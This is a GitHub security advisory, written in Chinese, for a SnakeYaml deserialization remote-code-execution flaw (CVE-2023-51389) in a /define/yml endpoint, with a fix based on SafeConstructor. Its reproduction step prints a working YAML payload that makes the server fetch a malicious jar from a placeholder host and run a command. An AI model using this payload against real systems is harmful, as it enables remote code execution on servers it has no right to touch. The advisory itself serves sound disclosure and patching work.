Skip to content

SnakeYaml Deser RCE

High
tomsun28 published GHSA-rmvr-9p5x-mm96 Feb 22, 2024

Package

No package listed

Affected versions

<1.4.1

Patched versions

1.4.1

Description

漏洞分析

在/define/yml的接口处

使用了SnakeYaml作为解析器，来解析yml内容，但却没用进行安全配置，导致存在yaml反序列化漏洞

漏洞复现

发送payload使得其远程加载恶意jar包来执行系统命令touch /tmp/pwnedByYaml

{"define":"category: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://xxxxxxxx:2333/yaml-payload-touch-file.jar']]]]"}


docker中成功执行系统命令

修复建议

  • 禁止yaml.load方法中的参数可控
  • 使用Yaml yaml = new Yaml(new SafeConstructor());
  • 在org\yaml\snakeyaml\constructor\SafeConstructor.class构造函数中定义了反序列化类的白名单：
public SafeConstructor(LoaderOptions loadingConfig) {
  super(loadingConfig);
  this.yamlConstructors.put(Tag.NULL, new ConstructYamlNull());
  this.yamlConstructors.put(Tag.BOOL, new ConstructYamlBool());
  this.yamlConstructors.put(Tag.INT, new ConstructYamlInt());
  this.yamlConstructors.put(Tag.FLOAT, new ConstructYamlFloat());
  this.yamlConstructors.put(Tag.BINARY, new ConstructYamlBinary());
  this.yamlConstructors.put(Tag.TIMESTAMP, new ConstructYamlTimestamp());
  this.yamlConstructors.put(Tag.OMAP, new ConstructYamlOmap());
  this.yamlConstructors.put(Tag.PAIRS, new ConstructYamlPairs());
  this.yamlConstructors.put(Tag.SET, new ConstructYamlSet());
  this.yamlConstructors.put(Tag.STR, new ConstructYamlStr());
  this.yamlConstructors.put(Tag.SEQ, new ConstructYamlSeq());
  this.yamlConstructors.put(Tag.MAP, new ConstructYamlMap());
  this.yamlConstructors.put((Object)null, undefinedConstructor);
  this.yamlClassConstructors.put(NodeId.scalar, undefinedConstructor);
  this.yamlClassConstructors.put(NodeId.sequence, undefinedConstructor);
  this.yamlClassConstructors.put(NodeId.mapping, undefinedConstructor);
}

Severity

High

CVE ID

CVE-2023-51389

Weaknesses

No CWEs

Credits